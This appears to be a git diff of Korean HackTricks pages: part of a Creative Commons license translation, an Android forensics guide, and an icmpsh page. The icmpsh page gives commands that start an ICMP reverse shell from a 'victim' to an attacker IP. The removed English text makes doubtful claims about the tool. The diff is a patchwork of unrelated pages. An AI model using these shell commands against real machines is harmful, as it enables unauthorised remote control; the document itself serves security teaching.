i. 라이선스 소재의 창작자 및 속성을 받을 수 있는 다른 사람들의 식별을 라이선서가 요청한 합리적인 방법으로 유지(지정된 경우 익명으로);
|
||||
|
||||
ii. 저작권 고지.
|
||||
ii. 저작권 고지;
|
||||
|
||||
iii. 이 공개 라이선스를 참조하는 고지.
|
||||
iii. 이 공개 라이선스를 참조하는 공지;
|
||||
|
||||
iv. 보증의 부인을 참조하는 고지.
|
||||
iv. 보증의 부인을 참조하는 공지;
|
||||
|
||||
v. 합리적으로 실행 가능한 범위 내에서 라이선스 자료로의 URI 또는 하이퍼링크.
|
||||
v. 합리적으로 실행 가능한 범위 내에서 라이선스 소재로의 URI 또는 하이퍼링크;
|
||||
|
||||
B. 라이선스 자료를 수정한 경우 수정한 사실을 나타내고 이전 수정 사항을 표시해야 합니다.
|
||||
B. 라이선스 소재를 수정한 경우 수정한 사실을 나타내고 이전 수정 사항을 표시해야 합니다; 그리고
|
||||
|
||||
C. 라이선스 자료가 이 공개 라이선스에 따라 라이선스되었음을 나타내고, 이 공개 라이선스의 텍스트 또는 URI 또는 하이퍼링크를 포함해야 합니다.
|
||||
C. 라이선스 소재가 이 공개 라이선스에 따라 라이선스되었음을 나타내고, 이 공개 라이선스의 텍스트 또는 URI 또는 하이퍼링크를 포함해야 합니다.
|
||||
|
||||
2. 여러분은 섹션 3(a)(1)의 조건을 여러분이 라이선스 자료를 공유하는 미디어, 수단 및 문맥에 기반하여 합리적인 방법으로 충족시킬 수 있습니다. 예를 들어, 필요한 정보를 포함하는 리소스로의 URI 또는 하이퍼링크를 제공함으로써 조건을 충족시키는 것이 합리적일 수 있습니다.
|
||||
2. 섹션 3(a)(1)의 조건을 라이선스 소재를 공유하는 데 사용된 매체, 수단 및 맥락에 기반하여 합리적인 방법으로 충족할 수 있습니다. 예를 들어, 필요한 정보를 포함하는 리소스로의 URI 또는 하이퍼링크를 제공함으로써 조건을 충족하는 것이 합리적일 수 있습니다.
|
||||
|
||||
3. 라이선서가 요청한 경우, 섹션 3(a)(1)(A)에 필요한 정보를 합리적으로 실행 가능한 범위 내에서 제거해야 합니다.
|
||||
3. 라이선서의 요청에 따라 섹션 3(a)(1)(A)에 의해 필요한 정보를 합리적으로 실행 가능한 범위 내에서 제거해야 합니다.
|
||||
|
||||
4. 여러분이 생성한 적응된 자료를 공유하는 경우, 적응자의 라이선스는 이 공개 라이선스의 조건을 준수하는 데 수령인을 제한해서는 안 됩니다.
|
||||
4. 귀하가 생성한 적응된 소재를 공유하는 경우, 적응된 소재 수령인이 이 공개 라이선스를 준수하지 못하도록 하는 어댑터의 라이선스를 적용해서는 안 됩니다.
|
||||
|
||||
## 섹션 4 - Sui Generis 데이터베이스 권리.
|
||||
## 섹션 4 – Sui Generis 데이터베이스 권리.
|
||||
|
||||
라이선스 권한이 여러분의 라이선스 자료 사용에 적용되는 Sui Generis 데이터베이스 권리를 포함하는 경우:
|
||||
라이선스 권리에 Sui Generis 데이터베이스 권리가 포함된 경우 라이선스 소재의 사용에 적용되는 경우:
|
||||
|
||||
a. 명확히 하기 위해, 섹션 2(a)(1)은 비상업적 목적으로 데이터베이스의 내용 전체 또는 실질적인 일부를 추출, 재사용, 복제 및 공유할 권리를 여러분에게 부여합니다.
|
||||
a. 의심의 여지가 없는 경우, 섹션 2(a)(1)은 귀하에게 데이터베이스의 내용의 전부 또는 상당 부분을 비상업적 목적으로 추출, 재사용, 복제 및 공유할 권리를 부여합니다;
|
||||
|
||||
b. 여러분이 Sui Generis 데이터베이스 권리를 가진 데이터베이스에 데이터베이스의 내용 전체 또는 실질적인 일부를 포함하는 경우, 여러분이 Sui Generis 데이터베이스 권리를 가진 데이터베이스
|
||||
## 섹션 7 - 기타 약관 및 조건.
|
||||
b. 귀하가 데이터베이스의 내용의 전부 또는 상당 부분을 포함하는 데이터베이스에 Sui Generis 데이터베이스 권리가 있는 경우, 해당 데이터베이스(개별 내용은 아님)는 적응된 소재입니다; 그리고
|
||||
|
||||
a. 라이선서는 명시적으로 동의하지 않는 한, 당신이 전달한 추가적이거나 다른 약관 또는 조건에 구속되지 않습니다.
|
||||
c. 데이터베이스의 내용의 전부 또는 상당 부분을 공유하는 경우 섹션 3(a)의 조건을 준수해야 합니다.
|
||||
|
||||
b. 본 공개 라이선스의 약관과 조건과 별도로, 라이선스된 자료에 관한 어떠한 정리, 이해 또는 합의도 여기에 명시되지 않으며 독립적입니다.
|
||||
의심의 여지가 없는 경우, 이 섹션 4는 다른 저작권 및 유사한 권리가 포함된 라이선스 권리의 의무를 대체하지 않고 보충합니다.
|
||||
|
||||
## 섹션 8 - 해석.
|
||||
## 섹션 5 – 보증의 부인 및 책임 제한.
|
||||
|
||||
a. 명확히 하기 위해, 본 공개 라이선스는 본 공개 라이선스에 따른 허가 없이 합법적으로 이루어질 수 있는 라이선스 자료의 사용에 대해 줄이거나 제한하거나 조건을 부과하지 않습니다.
|
||||
a. __라이선서가 별도로 수행하지 않는 한, 라이선서는 라이선스 소재를 있는 그대로 제공하며 사용 가능한 상태로 제공하며, 라이선스 소재에 대해 명시적, 묵시적, 법적 또는 기타 어떠한 종류의 보증도 하지 않습니다. 이는 제목, 상품성, 특정 목적에의 적합성, 비침해성, 잠재적인 결함의 부재 또는 기타 오류의 존재 또는 부재를 포함하되 이에 국한되지 않습니다. 보증의 부인이 전부 또는 일부 허용되지 않는 경우, 이 부인은 귀하에게 적용되지 않을 수 있습니다.__
|
||||
|
||||
b. 가능한 한, 본 공개 라이선스의 어떤 조항이 시행할 수 없다고 판단되면, 그 조항은 시행 가능하도록 최소한의 범위로 자동으로 개정됩니다. 조항을 개정할 수 없는 경우, 그 조항은 본 공개 라이선스에서 분리되어 남은 약관과 조건의 시행 가능성에 영향을 미치지 않습니다.
|
||||
b. __가능한 한, 어떠한 경우에도 라이선서는 법적 이론(부주의를 포함하여) 또는 그 밖의 이유로 귀하에게 이 공개 라이선스 또는 라이선스 소재의 사용으로 인해 발생하는 직접적, 특별, 간접, 부수적, 처벌적, 모범적 또는 기타 손실, 비용, 비용, 손해 또는 손실에 대해 책임을 지지 않습니다. 라이선서가 그러한 손실, 비용, 비용, 손해 또는 손실의 가능성을 알고 있었든 알 수 없었든 상관없이. 책임의 제한이 전부 또는 일부 허용되지 않는 경우, 이 제한은 귀하에게 적용되지 않을 수 있습니다.__
|
||||
|
||||
c. 라이선서의 명시적인 동의 없이는 본 공개 라이선스의 어떤 조건도 포기되지 않으며, 준수하지 않은 것으로 간주되지 않습니다.
|
||||
c. 위에서 제공된 보증의 부인 및 책임 제한은 가능한 한 절대적인 보증의 부인 및 모든 책임의 포기를 가장 가깝게 반영하도록 해석됩니다.
|
||||
|
||||
d. 본 공개 라이선스에는 라이선서 또는 당신에게 적용되는 권리와 면제 사항, 특히 어떠한 관할권이나 권한의 법적 절차로부터의 면제에 대한 제한 또는 포기로 해석되지 않습니다.
|
||||
## 섹션 6 – 기간 및 종료.
|
||||
|
||||
a. 이 공개 라이선스는 여기에 라이선스된 저작권 및 유사한 권리의 기간 동안 적용됩니다. 그러나 귀하가 이 공개 라이선스를 준수하지 않으면 귀하의 이 공개 라이선스에 따른 권리는 자동으로 종료됩니다.
|
||||
|
||||
b. 귀하의 라이선스 소재 사용 권한이 섹션 6(a)에 따라 종료된 경우 다음과 같이 복원됩니다:
|
||||
|
||||
1. 위반 사항이 해결된 날짜로부터 30일 이내에 해결되는 경우 자동으로 복원됩니다; 또는
|
||||
|
||||
2. 라이선서의 명시적인 복원에 따라 복원됩니다.
|
||||
|
||||
의심의 여지가 없는 경우, 이 섹션 6(b)는 라이선서가 이 공개 라이선스의 위반에 대한 귀하의 위반에 대한 구제를 추구할 권리에 영향을 미치지 않습니다.
|
||||
|
||||
c. 의심의 여지가 없는 경우, 라이선서는 라이선스 소재를 별도의 조건이나 조건으로 제공하거나 언제든지 라이선스 소재의 배포를 중단할 수 있습니다; 그러나 이렇게 하더라도 이 공개 라이선스는 종료되지 않습니다.
|
||||
|
||||
d. 섹션 1, 5, 6, 7 및 8은 이 공개 라이선스의 종료 후에도 유지됩니다.
|
||||
## 섹션 7 – 기타 조항.
|
||||
|
||||
a. 라이선서는 별도로 합의되지 않는 한, 당신이 전달한 추가 또는 다른 조건에 의해 구속받지 않습니다.
|
||||
|
||||
b. 여기에 명시되지 않은 라이선스 자료에 관한 어떠한 계약, 이해 또는 합의사항도 이 공개 라이선스의 조건과는 별개로 독립적입니다.
|
||||
|
||||
## 섹션 8 – 해석.
|
||||
|
||||
a. 분명히 하기 위해, 이 공개 라이선스는 본 라이선스에 따른 허가 없이 합법적으로 이루어질 수 있는 라이선스 자료의 사용에 대해 줄이거나 제한하거나 조건을 부과하지 않습니다.
|
||||
|
||||
b. 가능한 한, 이 공개 라이선스의 어떤 조항이 시행할 수 없다고 판명되면, 그것은 자동으로 시행 가능하게 만들기 위해 필요한 최소한의 범위로 개정될 것입니다. 조항을 개정할 수 없는 경우, 그것은 이 공개 라이선스에서 분리되어 남은 조건들의 시행 가능성에 영향을 미치지 않고 제거될 것입니다.
|
||||
|
||||
c. 이 공개 라이선스의 어떤 조건도 라이선서가 명시적으로 합의하지 않는 한 면제되지 않으며, 준수하지 않는 것에 동의하지 않습니다.
|
||||
|
||||
d. 이 공개 라이선스에 포함된 내용은 라이선서 또는 당신에게 적용되는 권리와 면제에 대한 제한 또는 면제로 해석되어서는 안 됩니다. 이는 어떠한 관할권 또는 권한의 법적 절차로부터도 적용되는 권리와 면제를 제한하거나 면제하는 것으로 해석되어서는 안 됩니다.
|
||||
```
|
||||
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
|
||||
|
||||
Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/).
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,51 +1,53 @@
|
|||
# 안드로이드 포렌식
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 **HackTricks에서 광고**하거나 **PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 잠긴 장치
|
||||
|
||||
안드로이드 장치에서 데이터를 추출하기 위해서는 잠긴 상태에서 해제해야 합니다. 잠긴 상태인 경우 다음을 시도할 수 있습니다:
|
||||
안드로이드 장치에서 데이터를 추출하려면 장치가 잠겨 있으면:
|
||||
|
||||
* 장치가 USB 디버깅이 활성화되어 있는지 확인합니다.
|
||||
* 가능한 [smudge 공격](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf)을 확인합니다.
|
||||
* [무차별 대입 공격](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)을 시도합니다.
|
||||
* USB를 통한 디버깅이 활성화되어 있는지 확인하세요.
|
||||
* 가능한 [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf)을 확인하세요.
|
||||
* [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)를 시도하세요.
|
||||
|
||||
## 데이터 획득
|
||||
|
||||
[adb를 사용하여 안드로이드 백업을 생성](mobile-pentesting/android-app-pentesting/adb-commands.md#backup)하고 [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/)를 사용하여 추출합니다: `java -jar abe.jar unpack file.backup file.tar`
|
||||
[adb를 사용하여 안드로이드 백업을 생성](mobile-pentesting/android-app-pentesting/adb-commands.md#backup)하고 [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/)를 사용하여 추출하세요: `java -jar abe.jar unpack file.backup file.tar`
|
||||
|
||||
### 루트 액세스 또는 JTAG 인터페이스에 대한 물리적 연결이 있는 경우
|
||||
### 루트 액세스 또는 JTAG 인터페이스에 물리적 연결이 있는 경우
|
||||
|
||||
* `cat /proc/partitions` (플래시 메모리의 경로를 검색합니다. 일반적으로 첫 번째 항목은 _mmcblk0_이며 전체 플래시 메모리에 해당합니다).
|
||||
* `df /data` (시스템의 블록 크기를 확인합니다).
|
||||
* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (블록 크기에서 얻은 정보로 실행합니다).
|
||||
* `cat /proc/partitions` (플래시 메모리의 경로를 찾으세요. 일반적으로 첫 번째 항목은 _mmcblk0_이며 전체 플래시 메모리에 해당합니다).
|
||||
* `df /data` (시스템의 블록 크기를 확인하세요).
|
||||
* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (블록 크기에서 얻은 정보로 실행하세요).
|
||||
|
||||
### 메모리
|
||||
|
||||
Linux Memory Extractor (LiME)를 사용하여 RAM 정보를 추출합니다. 이는 adb를 통해 로드되어야 하는 커널 확장입니다.
|
||||
Linux Memory Extractor (LiME)를 사용하여 RAM 정보를 추출하세요. 이는 adb를 통해 로드해야 하는 커널 확장입니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 **HackTricks에서 광고**하거나 **PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,17 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
{% endhint %}
|
||||
|
||||
[https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)에서 백도어를 다운로드하세요.
|
||||
|
||||
|
@ -19,75 +19,33 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
스크립트를 실행하세요: **run.sh**
|
||||
|
||||
**오류가 발생하면 다음 줄을 변경해보세요:**
|
||||
**에러가 발생하면 다음 라인을 변경해보세요:**
|
||||
```bash
|
||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||
```
|
||||
# ICMP Shell (icmpsh)
|
||||
|
||||
## Description
|
||||
|
||||
ICMP Shell (icmpsh) is a simple reverse ICMP shell that uses ICMP echo requests to establish a command shell on a target machine. It is a part of the [icmpsh](https://github.com/inquisb/icmpsh) project.
|
||||
|
||||
## Features
|
||||
|
||||
- Stealthy communication: ICMP echo requests are commonly allowed through firewalls and are less likely to be detected.
|
||||
- Reverse shell: Allows an attacker to execute commands on the target machine.
|
||||
- Encrypted communication: ICMP payload is encrypted using AES-128-CBC.
|
||||
- Cross-platform: Works on Windows, Linux, and macOS.
|
||||
|
||||
## Usage
|
||||
|
||||
1. Start the listener on the attacker machine:
|
||||
|
||||
```shell
|
||||
icmpsh.exe -l -v -d
|
||||
```
|
||||
|
||||
2. Execute the client on the target machine:
|
||||
|
||||
```shell
|
||||
icmpsh.exe -t <attacker_ip> -d
|
||||
```
|
||||
|
||||
3. Once the connection is established, the attacker can execute commands on the target machine.
|
||||
|
||||
## Limitations
|
||||
|
||||
- Requires administrative privileges on the target machine.
|
||||
- ICMP echo requests may be blocked by some firewalls or network configurations.
|
||||
- The communication is not encrypted by default, but can be enabled using the `-e` option.
|
||||
|
||||
## Detection
|
||||
|
||||
- Monitor network traffic for ICMP echo requests to identify potential ICMP shell activity.
|
||||
- Use intrusion detection systems (IDS) or network monitoring tools to detect suspicious ICMP traffic.
|
||||
- Regularly update firewall rules to block ICMP echo requests if not required.
|
||||
|
||||
## References
|
||||
|
||||
- [icmpsh - GitHub](https://github.com/inquisb/icmpsh)
|
||||
**대상:**
|
||||
```bash
|
||||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **피해자 측**
|
||||
|
||||
피해자에게 **icmpsh.exe**를 업로드하고 실행하세요:
|
||||
**icmpsh.exe**를 피해자에게 업로드하고 실행하십시오:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 기법을 공유하려면 **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,85 +1,86 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 **HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## 기본 개념
|
||||
|
||||
